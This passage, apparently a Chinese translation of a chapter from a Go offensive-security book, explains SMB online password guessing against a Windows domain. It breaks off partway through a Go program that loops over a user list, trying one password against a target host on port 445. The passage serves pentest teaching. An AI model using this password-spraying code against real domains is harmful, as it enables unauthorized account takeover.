14、深入探索SMB交互与数据库搭建

深入探索SMB交互与数据库搭建

1. SMB在线密码猜测

攻击者和渗透测试人员常使用在线密码猜测技术，通过SMB协议尝试使用常用用户名和密码对域进行身份验证。
- 安装SMB包 ：使用以下命令获取SMB包：

$ go get github.com/blackhatgo/bhg/ch-6/smb

• 编写代码 ：以下是实现在线密码猜测的代码：

func main() {
    if len(os.Args) != 5 {
        log.Fatalln("Usage: main </user/file> <password> <domain> <target_host>")
    }
    buf, err := ioutil.ReadFile(os.Args[1])
    if err != nil {
        log.Fatalln(err)
    }
    options := smb.Options{
        Password: os.Args[2],
        Domain:   os.Args[3],
        Host:     os.Args[4],
        Port:     445,
    }
    users := bytes.Split(buf, []byte{'\n'})
    for _,